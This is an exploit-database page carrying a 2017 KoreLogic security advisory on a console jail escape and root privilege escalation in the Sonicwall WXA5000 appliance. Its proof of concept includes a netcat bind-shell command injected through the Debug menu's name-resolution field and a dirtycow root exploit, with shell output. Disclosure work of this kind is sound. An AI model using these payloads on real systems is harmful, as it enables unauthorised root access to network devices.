Exploitalert - Database of Exploits

Sonicwall WXA5000 1.3.2-10-30 Console Jail Escape / Privilege Escalation

CVE	Category	Price	Severity
N/A	CWE-78	N/A	High

Author	Risk	Exploitation Type	Date
N/A	High	Local	2017-10-25

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017100184

Sonicwall WXA5000 1.3.2-10-30 Console Jail Escape / Privilege Escalation

KL-001-2017-019 : Sonicwall WXA5000 Console Jail Escape and Privilege Escalation Title: Sonicwall WXA5000 Console Jail Escape and Privilege Escalation Advisory ID: KL-001-2017-019 Publication Date: 2017.10.24 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-019.txt 1. Vulnerability Details Affected Vendor: Sonicwall Affected Product: WXA5000 WAN Optimization Appliance Affected Version: 1.3.2-10-30 Platform: Embedded Linux CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command Impact: Root Access Attack vector: Console 2. Vulnerability Description The console menu for this appliance can be escaped into a regular sh shell by using encapsulated $() shell commands. Privileges can be escalated to root by using the dirtyc0w exploit. 3. Technical Description ????????????????SonicWALL WAN Optimization Configuration????????????????? ? Show Network Settings ? ? Renew DHCP lease ? ? Show Serial Number ? ? Show Firmware Version ? ? Factory Reset - Restore the device to factory installed state. ? ? Secure Factory Reset - Securely erase hard disk and do Factory Reset. ? ? Upgrade Firmware - Upgrade Firmware via USB stick. ? ? ------------------ ? ? Debug ? ? Help ? ? ------------------ ? ? Reboot ? ? Shutdown ? ????????????????????????????????????????????????????????????????????????? Selecting 'Debug' provides a basic diagnostic menu allowing the user to ping the gateway, show system load, or resolve a domain name. Use the following string during name resolution: $(nc -l -p 4444 -e /bin/sh 1>&2) Next, connect to the shell using netcat. $ nc -v 1.3.3.7 4444 Connection to 1.3.3.7 4444 port [tcp/krb524] succeeded! id;uname -a uid=1017(wxauser) gid=1017 groups=1017 Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux This kernel version is vulnerable to the dirtycow exploit. /tmp/cowroot uname -a;id Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux uid=0(root) gid=1017 groups=0(root),1017 4. Mitigation and Remediation Recommendation There is no known remediation for this vulnerability from the vendor. Administrators should heavily restrict access to any account of any privilege which can use the Debug functionality of the CLI. Network access to management interfaces should be properly segmented. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.07.21 - KoreLogic requests security contact and PGP key from Sonicwall using the vulnerability submission form at https://mysonicwall.com/report/ProdVul.aspx. 2017.07.24 - KoreLogic requests security contact and PGP key from Sonicwall using [email protected] email address. 2017.08.09 - KoreLogic submits vulnerability information to Sonicwall using https://mysonicwall.com/report/ProdVul.aspx. Vulnerability submission ID 10762. 2017.08.16 - 5 business days have elapsed since the vulnerability was reported. No response from Sonicwall. 2017.09.21 - 30 business days have elapsed since the vulnerability was reported. 2017.10.13 - 45 business days have elapsed since the vulnerability was reported to Sonicwall. 2017.10.19 - KoreLogic requests update from [email protected]. 2017.10.24 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

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